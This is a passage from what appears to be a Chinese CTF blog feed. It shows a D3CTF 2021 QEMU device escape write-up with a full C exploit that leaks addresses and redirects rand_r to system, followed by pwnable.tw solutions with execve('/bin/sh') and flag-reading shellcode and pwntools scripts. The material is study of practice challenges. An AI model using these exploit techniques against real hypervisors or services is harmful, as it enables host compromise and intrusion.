undefined000012FD db ? ; undefined000012FE db ? ; undefined000012FF db ? ; undefined00001300 d3devState ends</code></pre><p>根据上述的d3devState结构体来看,我们传进来的addr的值,可以分别读取</p><pre><code>0x18: opaque + 0x12ec: opaque->key[3]0x00: opaque + 0x0ac0: opaque->memory_mode0x08: opaque + 0x0ac4: opaque->seek0x0c: opaque + 0x12e0: opaque->key[0]0x10: opaque + 0x12e4: opaque->key[1]0x14: opaque + 0x12e8: opaque->key[2]</code></pre><p>看W&M的师傅写的WP,有一波操作可以把这里转换成switch结构,后续搞懂怎么弄补一下</p><p><img src="/images/d3ctf-2021-qualifier-pwn-d3dev/2021-03-11-20-46-58.png" alt=""></p><h4 id="d3dev-pmio-write"><a href="#d3dev-pmio-write" class="headerlink" title="d3dev_pmio_write"></a>d3dev_pmio_write</h4><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// local variable allocation has failed, the output may be wrong!</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> __fastcall <span class="title">d3dev_pmio_write</span><span class="params">(d3devState *opaque, hwaddr addr, <span class="keyword">uint64_t</span> val, <span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="built_in">size</span>)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">uint32_t</span> *v4; <span class="comment">// rbp</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ( addr == <span class="number">8</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( val <= <span class="number">0x100</span> )</span><br><span class="line"> opaque-><span class="built_in">seek</span> = val;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> ( addr > <span class="number">8</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( addr == <span class="number">28</span> )</span><br><span class="line"> {</span><br><span class="line"> opaque->r_seed = val;</span><br><span class="line"> v4 = opaque->key;</span><br><span class="line"> <span class="keyword">do</span></span><br><span class="line"> *v4++ = ((__int64 (__fastcall *)(<span class="keyword">uint32_t</span> *, __int64, <span class="keyword">uint64_t</span>, _QWORD))opaque->rand_r)(</span><br><span class="line"> &opaque->r_seed,</span><br><span class="line"> <span class="number">28L</span>L,</span><br><span class="line"> val,</span><br><span class="line"> *(_QWORD *)&<span class="built_in">size</span>);</span><br><span class="line"> <span class="keyword">while</span> ( v4 != (<span class="keyword">uint32_t</span> *)&opaque->rand_r );</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> ( addr )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( addr == <span class="number">4</span> )</span><br><span class="line"> {</span><br><span class="line"> *(_QWORD *)opaque->key = <span class="number">0L</span>L;</span><br><span class="line"> *(_QWORD *)&opaque->key[<span class="number">2</span>] = <span class="number">0L</span>L;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> opaque->memory_mode = val;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="编程访问pmio"><a href="#编程访问pmio" class="headerlink" title="编程访问pmio"></a>编程访问pmio</h4><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">uint32_t</span> pmio_base=<span class="number">0xc040</span>; <span class="comment">// 0xc040 - 0xc05f</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">uint32_t</span> <span class="title">pmio_write</span><span class="params">(<span class="keyword">uint32_t</span> addr, <span class="keyword">uint32_t</span> value)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> outl(value,addr);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">uint32_t</span> <span class="title">pmio_read</span><span class="params">(<span class="keyword">uint32_t</span> addr)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">return</span> (<span class="keyword">uint32_t</span>)inl(addr);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Open and map I/O memory for the strng device</span></span><br><span class="line"> <span class="keyword">if</span> (iopl(<span class="number">3</span>) !=<span class="number">0</span> )</span><br><span class="line"> die(<span class="string">"I/O permission is not enough"</span>);</span><br><span class="line"> pmio_write(pmio_base+<span class="number">0</span>,<span class="number">0</span>);</span><br><span class="line"> pmio_write(pmio_base+<span class="number">4</span>,<span class="number">1</span>);</span><br><span class="line"> </span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><assert.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><fcntl.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><inttypes.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/mman.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/types.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/io.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MMIO_FILE <span class="meta-string">"/sys/devices/pci0000:00/0000:00:03.0/resource0"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PMIO_BASE 0xC040</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> SYSTEM_PLT_OFFSET 0x2a6250</span></span><br><span class="line"><span class="keyword">void</span> * mmio_mem;</span><br><span class="line"><span class="keyword">void</span> * pmio_mem;</span><br><span class="line"><span class="keyword">void</span> * qemu_pie;</span><br><span class="line"><span class="keyword">uint32_t</span> key_list[<span class="number">4</span>];</span><br><span class="line"><span class="keyword">uint32_t</span> encrypto_key = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">uint64_t</span> system_plt = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">init_io</span><span class="params">()</span></span>{</span><br><span class="line"> setbuf(<span class="built_in">stdin</span>,<span class="number">0</span>);</span><br><span class="line"> setbuf(<span class="built_in">stdout</span>,<span class="number">0</span>);</span><br><span class="line"> setbuf(<span class="built_in">stderr</span>,<span class="number">0</span>);</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">tea_encrypt</span> <span class="params">(<span class="keyword">uint32_t</span>* v, <span class="keyword">uint32_t</span>* k)</span> </span>{ </span><br><span class="line"> <span class="keyword">uint32_t</span> v0=v[<span class="number">0</span>], v1=v[<span class="number">1</span>], sum=<span class="number">0</span>, i; <span class="comment">/* set up */</span> </span><br><span class="line"> <span class="keyword">uint32_t</span> delta=<span class="number">0x9e3779b9</span>; <span class="comment">/* a key schedule constant */</span> </span><br><span class="line"> <span class="keyword">uint32_t</span> k0=k[<span class="number">0</span>], k1=k[<span class="number">1</span>], k2=k[<span class="number">2</span>], k3=k[<span class="number">3</span>]; <span class="comment">/* cache key */</span> </span><br><span class="line"> <span class="keyword">for</span> (i=<span class="number">0</span>; i < <span class="number">32</span>; i++) { <span class="comment">/* basic cycle start */</span> </span><br><span class="line"> sum += delta; </span><br><span class="line"> v0 += ((v1<<<span class="number">4</span>) + k0) ^ (v1 + sum) ^ ((v1>><span class="number">5</span>) + k1); </span><br><span class="line"> v1 += ((v0<<<span class="number">4</span>) + k2) ^ (v0 + sum) ^ ((v0>><span class="number">5</span>) + k3); </span><br><span class="line"> } <span class="comment">/* end cycle */</span> </span><br><span class="line"> v[<span class="number">0</span>]=v0; v[<span class="number">1</span>]=v1; </span><br><span class="line">} </span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">tea_decrypt</span> <span class="params">(<span class="keyword">uint32_t</span>* v, <span class="keyword">uint32_t</span>* k)</span> </span>{ </span><br><span class="line"> <span class="keyword">uint32_t</span> v0=v[<span class="number">0</span>], v1=v[<span class="number">1</span>], sum=<span class="number">0xC6EF3720</span>, i; <span class="comment">/* set up */</span> </span><br><span class="line"> <span class="keyword">uint32_t</span> delta=<span class="number">0x9e3779b9</span>; <span class="comment">/* a key schedule constant */</span> </span><br><span class="line"> <span class="keyword">uint32_t</span> k0=k[<span class="number">0</span>], k1=k[<span class="number">1</span>], k2=k[<span class="number">2</span>], k3=k[<span class="number">3</span>]; <span class="comment">/* cache key */</span> </span><br><span class="line"> <span class="keyword">for</span> (i=<span class="number">0</span>; i<<span class="number">32</span>; i++) { <span class="comment">/* basic cycle start */</span> </span><br><span class="line"> v1 -= ((v0<<<span class="number">4</span>) + k2) ^ (v0 + sum) ^ ((v0>><span class="number">5</span>) + k3); </span><br><span class="line"> v0 -= ((v1<<<span class="number">4</span>) + k0) ^ (v1 + sum) ^ ((v1>><span class="number">5</span>) + k1); </span><br><span class="line"> sum -= delta; </span><br><span class="line"> } <span class="comment">/* end cycle */</span> </span><br><span class="line"> v[<span class="number">0</span>]=v0; v[<span class="number">1</span>]=v1; </span><br><span class="line">} </span><br><span class="line"><span class="function"><span class="keyword">uint32_t</span> <span class="title">pmio_read</span><span class="params">(<span class="keyword">uint32_t</span> offset)</span></span>{</span><br><span class="line"> <span class="keyword">uint32_t</span> return_data = (<span class="keyword">uint32_t</span>)inl(PMIO_BASE + offset);</span><br><span class="line"> <span class="keyword">return</span> return_data;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">pmio_write</span><span class="params">(<span class="keyword">uint32_t</span> offset,<span class="keyword">uint32_t</span> val)</span></span>{</span><br><span class="line"> outl(val,PMIO_BASE + offset);</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">mmio_write_i32</span><span class="params">(<span class="keyword">uint32_t</span> offset,<span class="keyword">uint32_t</span> val)</span></span>{</span><br><span class="line"> *(<span class="keyword">uint32_t</span> *)(mmio_mem + offset) = val;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">mmio_write_i64</span><span class="params">(<span class="keyword">uint64_t</span> offset,<span class="keyword">uint64_t</span> val)</span></span>{</span><br><span class="line"> *(<span class="keyword">uint64_t</span> *)(mmio_mem + offset) = val;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">uint64_t</span> <span class="title">mmio_read_i64</span><span class="params">(<span class="keyword">uint64_t</span> offset)</span></span>{</span><br><span class="line"> <span class="keyword">return</span> *(<span class="keyword">uint64_t</span> *)(mmio_mem + offset);</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">uint32_t</span> <span class="title">mmio_read_i32</span><span class="params">(<span class="keyword">uint32_t</span> offset)</span></span>{</span><br><span class="line"> <span class="keyword">return</span> *(<span class="keyword">uint32_t</span> *)(mmio_mem + offset);</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">mmio_real_write</span><span class="params">(<span class="keyword">uint32_t</span> offset,<span class="keyword">uint32_t</span> val)</span></span>{</span><br><span class="line"> <span class="keyword">if</span>(((offset / <span class="number">0x4</span>) % <span class="number">2</span>) == <span class="number">0</span>){</span><br><span class="line"> pmio_write(offset,val);</span><br><span class="line"> pmio_write(offset,val);</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> pmio_write(offset,val);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">modify_mmio_qword_offset</span><span class="params">(<span class="keyword">uint32_t</span> offset)</span></span>{</span><br><span class="line"> pmio_write(<span class="number">0x8</span>,offset);</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">uint32_t</span> <span class="title">get_mmio_qword_offset</span><span class="params">()</span></span>{</span><br><span class="line"> encrypto_key = pmio_read(<span class="number">8</span>);</span><br><span class="line"> <span class="keyword">return</span> encrypto_key;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">debug</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"DEBUG!!!!!!"</span>);</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">read_num</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">char</span> buf[<span class="number">0x30</span>];</span><br><span class="line"> <span class="built_in">memset</span>(buf,<span class="number">0</span>,<span class="number">0x30</span>);</span><br><span class="line"> <span class="built_in">read</span>(<span class="number">0</span>,buf,<span class="number">0x30</span>);</span><br><span class="line"> <span class="keyword">return</span> atoi(buf);</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">get_tea_key</span><span class="params">()</span></span>{</span><br><span class="line"> key_list[<span class="number">0</span>] = pmio_read(<span class="number">0xc</span>);</span><br><span class="line"> key_list[<span class="number">1</span>] = pmio_read(<span class="number">0x10</span>);</span><br><span class="line"> key_list[<span class="number">2</span>] = pmio_read(<span class="number">0x14</span>);</span><br><span class="line"> key_list[<span class="number">3</span>] = pmio_read(<span class="number">0x18</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[Success] get tea key: %p %p %p %p\\n"</span>,key_list[<span class="number">0</span>],key_list[<span class="number">1</span>],key_list[<span class="number">2</span>],key_list[<span class="number">3</span>]);</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">decode_tea</span><span class="params">(<span class="keyword">uint32_t</span> * values)</span></span>{</span><br><span class="line"> tea_encrypt(values,key_list);<span class="comment">//tea crypto is reversible</span></span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">void</span> * <span class="title">leak_qemu_pie</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[Info] mmio qword offset => %x\\n"</span>,get_mmio_qword_offset());</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"[Info] leak qemu pie..."</span>);</span><br><span class="line"> mmio_write_i32(<span class="number">8</span> * <span class="number">0</span>,<span class="number">0xdeadbeef</span>);</span><br><span class="line"> modify_mmio_qword_offset(<span class="number">18</span>);</span><br><span class="line"> <span class="keyword">uint32_t</span> val1 = mmio_read_i32(<span class="number">0x7F8</span>);</span><br><span class="line"> <span class="keyword">uint32_t</span> val2 = mmio_read_i32(<span class="number">0x7F8</span>);</span><br><span class="line"> <span class="keyword">uint32_t</span> list1[<span class="number">2</span>];</span><br><span class="line"> list1[<span class="number">0</span>] = val1;</span><br><span class="line"> list1[<span class="number">1</span>] = val2;</span><br><span class="line"> decode_tea(list1);</span><br><span class="line"> <span class="keyword">uint64_t</span> return_ptr = list1[<span class="number">0</span>] + ((<span class="keyword">uint64_t</span>)list1[<span class="number">1</span>] << <span class="number">32</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%p %p\\n"</span>,list1[<span class="number">0</span>],list1[<span class="number">1</span>]);</span><br><span class="line"> return_ptr = ((<span class="keyword">uint64_t</span>) return_ptr) - (<span class="number">0x55d137928250</span> - <span class="number">0x55d1374a6000</span>);</span><br><span class="line"> <span class="keyword">return</span> (<span class="keyword">void</span> *)return_ptr;</span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">calc_plt_function</span><span class="params">()</span></span>{</span><br><span class="line"> system_plt = qemu_pie + <span class="number">0x2A6250</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[Info] system_plt => %p\\n"</span>,system_plt);</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">rce</span><span class="params">(<span class="keyword">char</span> * command)</span></span>{</span><br><span class="line"> modify_mmio_qword_offset(<span class="number">0x100</span>);</span><br><span class="line"> <span class="keyword">uint32_t</span> val1 = mmio_read_i32(<span class="number">0x8</span> * <span class="number">3</span>);</span><br><span class="line"> <span class="keyword">uint32_t</span> val2 = mmio_read_i32(<span class="number">0x8</span> * <span class="number">3</span>);</span><br><span class="line"> <span class="keyword">uint32_t</span> list1[<span class="number">2</span>];</span><br><span class="line"> list1[<span class="number">0</span>] = val1;</span><br><span class="line"> list1[<span class="number">1</span>] = val2;</span><br><span class="line"> decode_tea(list1);</span><br><span class="line"> <span class="keyword">uint64_t</span> libc_rand_r = list1[<span class="number">0</span>] + ((<span class="keyword">uint64_t</span>)list1[<span class="number">1</span>] << <span class="number">32</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">uint64_t</span> libc_system = libc_rand_r + (<span class="number">0x7f4b637c2410</span> - <span class="number">0x7f4b637b7eb0</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[Info] rand_r_ptr => %p\\n"</span>,libc_rand_r);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[Info] libc_system => %p\\n"</span>,libc_system);</span><br><span class="line"></span><br><span class="line"> val1 = system_plt % <span class="number">0x100000000</span>;</span><br><span class="line"> val2 = system_plt >> <span class="number">32</span>;</span><br><span class="line"> list1[<span class="number">0</span>] = val1;</span><br><span class="line"> list1[<span class="number">1</span>] = val2;</span><br><span class="line"> tea_decrypt(list1,key_list);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//uint32_t val = mmio_read_i64(0x8 * 3 + 4);</span></span><br><span class="line"> <span class="comment">//printf("val = %p\\n",val);</span></span><br><span class="line"> <span class="comment">//pmio_write(0x0,0xdeadcafe);</span></span><br><span class="line"> <span class="comment">//mmio_write_i64(8 * 3,0);</span></span><br><span class="line"> <span class="keyword">uint64_t</span> num = list1[<span class="number">0</span>] + ((<span class="keyword">uint64_t</span>)list1[<span class="number">1</span>] << <span class="number">32</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"num => %p\\nlist1[0] = %p list1[1] = %p\\n"</span>,num,val1,val2);</span><br><span class="line"> mmio_write_i32(<span class="number">8</span> * <span class="number">0</span>,num);</span><br><span class="line"> mmio_write_i64(<span class="number">8</span> * <span class="number">3</span>,num);</span><br><span class="line"> mmio_write_i64(<span class="number">8</span> * <span class="number">3</span>,num);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> pmio_write(<span class="number">0x1c</span>,<span class="number">0x006873</span>);</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">exploit</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">int</span> mmio_fd = <span class="built_in">open</span>(MMIO_FILE,O_RDWR | O_SYNC);</span><br><span class="line"> <span class="keyword">if</span> (mmio_fd < <span class="number">0</span>){</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"mmio_fd open failed"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"> mmio_mem = mmap(<span class="number">0</span>,<span class="number">0x1000</span>,PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, <span class="number">0</span>);</span><br><span class="line"> <span class="keyword">if</span> (mmio_mem == MAP_FAILED){</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"mmio_mem mmap failed"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[Info] mmio_mem => %p\\n"</span>,mmio_mem);</span><br><span class="line"></span><br><span class="line"> get_tea_key();</span><br><span class="line"> qemu_pie = leak_qemu_pie();</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[Success] qemu_pie => %p\\n"</span>,qemu_pie);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"[Info] Calc functions offset"</span>);</span><br><span class="line"> calc_plt_function();</span><br><span class="line"></span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"[Info] Start rce!"</span>);</span><br><span class="line"> rce(<span class="string">"echo aaaa>/flag"</span>);</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">init_data</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">if</span>(iopl(<span class="number">3</span>) != <span class="number">0</span>){</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"[Error] IO permission denied!"</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc,<span class="keyword">char</span> * argv[])</span></span>{</span><br><span class="line"> init_io();</span><br><span class="line"> init_data();</span><br><span class="line"> exploit();</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><ul><li><a href="https://ray-cp.github.io/archivers/qemu-pwn-Blizzard-CTF-2017-Strng-writeup">https://ray-cp.github.io/archivers/qemu-pwn-Blizzard-CTF-2017-Strng-writeup</a></li><li><a href="https://mp.weixin.qq.com/s/HmrBddSEEE3EKM4BybcFoA">https://mp.weixin.qq.com/s/HmrBddSEEE3EKM4BybcFoA</a></li><li>NU1L WP</li></ul>]]></content>
<tags>
<tag> pwn qemu </tag>
</tags>
</entry>
<entry>
<title>pwnable.tw做题记录</title>
<link href="/2021/04/15/pwnable-tw%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/"/>
<url>/2021/04/15/pwnable-tw%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/</url>
<content type="html"><![CDATA[<h2 id="start"><a href="#start" class="headerlink" title="start"></a>start</h2><p>是一段汇编</p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">push esp ; esp是栈顶指针寄存器, 将栈顶地址入栈</span><br><span class="line">push offset _exit ; 将exit函数地址入栈</span><br><span class="line">xor eax, eax ; 清空eax, ebx, ecx, edx寄存器</span><br><span class="line">xor ebx, ebx ;</span><br><span class="line">xor ecx, ecx ;</span><br><span class="line">xor edx, edx ;</span><br><span class="line">push 3A465443h ; 入栈输出的提示 CTF:</span><br><span class="line">push 20656874h ; the </span><br><span class="line">push 20747261h ; art </span><br><span class="line">push 74732073h ; s st</span><br><span class="line">push 2774654Ch ; Let'</span><br><span class="line">mov ecx, esp ; 把esp地址放入ecx</span><br><span class="line">mov dl, 14h ; 把0x14放入dl(rdx的低位)</span><br><span class="line">mov bl, 1 ; 把fd=1放入bl, stdout=1, stdin=0</span><br><span class="line">mov al, 4 ; 把4放入al, 调用syscall执行sys_write</span><br><span class="line">int 80h ; LINUX - sys_write, int 80h是系统调用的中断, 即syscall, 根据eax的值选择调用的函数</span><br><span class="line">xor ebx, ebx ; 清空ebx</span><br><span class="line">mov dl, 3Ch ; '<' ; 0x3C放入dl</span><br><span class="line">mov al, 3 ; 3放入al, syscall read</span><br><span class="line">int 80h ; LINUX - sys_read</span><br><span class="line">add esp, 14h ; 栈内存自高地址向低地址写入, 所以add是升高栈指针指向更高处</span><br><span class="line">retn ; 把栈顶的地址弹出到eip, 跳转执行</span><br></pre></td></tr></table></figure><p>64位程序下, 函数的参数通过rdi, rsi, rx, rcx, r8, r9, 栈内存的顺序进行传递, 而32位下是用栈内存来传递</p><p>但是上述代码中使用syscall的方式调用函数, 参数是通过ebx, ecx, edx, esi, edi传递的</p><p>即write(ebx: fd, ecx: buffer, edx: size), read(ebx: fd, ecx:buffer, edx: size)</p><p>代码向栈内压入了esp, exit, str, str, str, str, str, 每次都压入32位即4字节数据</p><p>然后用read读取了0x3C数据, 那么我们覆盖完压入栈内的4*7=28Byte数据后, 还可以写60-28=32Byte</p><p>由于retn之前给esp+0x14, 即栈顶向上移动了0x14, 而我们要将shellcode首地址布置在栈顶, 这样一来返回的时候就会执行我们栈顶的指令</p><p>所以我们需要栈地址来作为返回地址, 那么如何获取栈地址呢, 由于程序没开任何随机化, 所以我们可以在栈顶先布置一个已知的指令地址, 即<code>mov ecx, esp</code>, 执行到write的时候, 会输出0x14个字节, 包括8字节的exit函数地址和8字节的esp, payload为<code>'A'*0x14 + p32(0x08048087)</code>, 拿到的栈地址是一开始push到栈里的esp, 我们在跳回<code>mov ecx, esp</code>后, 先执行了write输出了栈地址, 记为<code>base</code>, 然后执行了read, 再次读取输入到栈上, 经过<code>add esp, 14h</code>后, 指向的地址应该是我们shellcode的首地址, 即<code>base - 4 + 0x14</code>的位置保存返回地址, 返回地址为<code>base - 4 + 0x14 + 4</code>, 由于输入限制为0x3c, 减去0x14的pattern, 4字节的返回地址, 只有36字节可用</p><p>接下来写一段<code>execve('/bin/sh')</code>的shellcode, 同样使用int 80的方式调用:</p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">xor ecx, ecx</span><br><span class="line">xor edx, edx</span><br><span class="line">push edx</span><br><span class="line">push 0x68732f6e</span><br><span class="line">push 0x69622f2f</span><br><span class="line">mov ebx, esp</span><br><span class="line">mov al, 0xb</span><br><span class="line">int 0x80</span><br></pre></td></tr></table></figure><p>得到exp:</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment"># context.log_level='debug'</span></span><br><span class="line"><span class="comment"># r = process("./start")</span></span><br><span class="line"><span class="comment"># shellcode='\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'</span></span><br><span class="line">shellcode = asm(<span class="string">'xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f ;mov ebx,esp;mov al,0xb;int 0x80'</span>)</span><br><span class="line">r = remote(<span class="string">"chall.pwnable.tw"</span>, <span class="number">10000</span>)</span><br><span class="line"><span class="comment"># pause()</span></span><br><span class="line"></span><br><span class="line">r.recvuntil(<span class="string">':'</span>)</span><br><span class="line">r.send(<span class="string">'A'</span>*<span class="number">20</span> + p32(<span class="number">0x08048087</span>))</span><br><span class="line">stack_addr = u32(r.recv(<span class="number">4</span>))</span><br><span class="line">info(<span class="string">"Stack addr:"</span> + hex(stack_addr))</span><br><span class="line">info(<span class="string">"Shellcode len:"</span> + hex(len(shellcode)))</span><br><span class="line">r.sendline(<span class="string">'A'</span>*<span class="number">20</span> + p32(stack_addr - <span class="number">4</span> + <span class="number">0x14</span> + <span class="number">4</span>) + shellcode)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><h2 id="orw"><a href="#orw" class="headerlink" title="orw"></a>orw</h2><p>题目提示只能用open, read, write, 所以要借助这三个系统调用来读取<code>/home/orw/flag</code></p><p>运行以后可以直接输入shellcode, 所以根据上一题来写shellcode即可</p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">push 0x00006761</span><br><span class="line">push 0x6c662f66</span><br><span class="line">push 0x74632f65</span><br><span class="line">push 0x6d6f682f</span><br><span class="line">mov ebx, esp</span><br><span class="line">xor ecx, ecx ; read only</span><br><span class="line">mov edx, 0x0400 ; permission</span><br><span class="line">mov eax, 5</span><br><span class="line">int 0x80</span><br><span class="line"></span><br><span class="line">mov ebx, eax ; fd</span><br><span class="line">mov ecx, ebx ; buf</span><br><span class="line">mov edx, 0x20 ; size</span><br><span class="line">mov eax, 3</span><br><span class="line">int 0x80</span><br><span class="line"></span><br><span class="line">mov ebx, 1 ; fd</span><br><span class="line">mov eax, 4</span><br><span class="line">int 0x80</span><br></pre></td></tr></table></figure><p>exp:</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">r = process(<span class="string">'./orw'</span>)</span><br><span class="line"><span class="comment"># r = remote('chall.pwnable.tw', 10001)</span></span><br><span class="line">shellcode=asm(<span class="string">"push 0x00006761;push 0x6c662f66;push 0x74632f65;push 0x6d6f682f;mov ebx, esp;xor ecx, ecx;xor edx, edx;mov eax, 5;int 0x80;mov ebx, eax;mov ecx, esp;mov edx, 0x20;mov eax, 3;int 0x80;mov ebx, 1;mov eax, 4;int 0x80;"</span>)</span><br><span class="line"></span><br><span class="line">r.sendafter(<span class="string">'shellcode:'</span>, shellcode)</span><br><span class="line">print(r.recv())</span><br></pre></td></tr></table></figure><p>另外还看到可以用pwntools的shellcraft来更简单地写shellcode:</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line">shellcode = asm(shellcraft.open(<span class="string">'/home/ctf/flag'</span>) + shellcraft.read(<span class="string">'eax'</span>, <span class="string">'esp'</span>, <span class="number">0x30</span>) + shellcraft.write(<span class="number">1</span>, <span class="string">'esp'</span>, <span class="number">0x30</span>))</span><br></pre></td></tr></table></figure><p>print出来的汇编是这样的:</p><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">/* open(file='/home/orw/flag', oflag=0, mode=0) 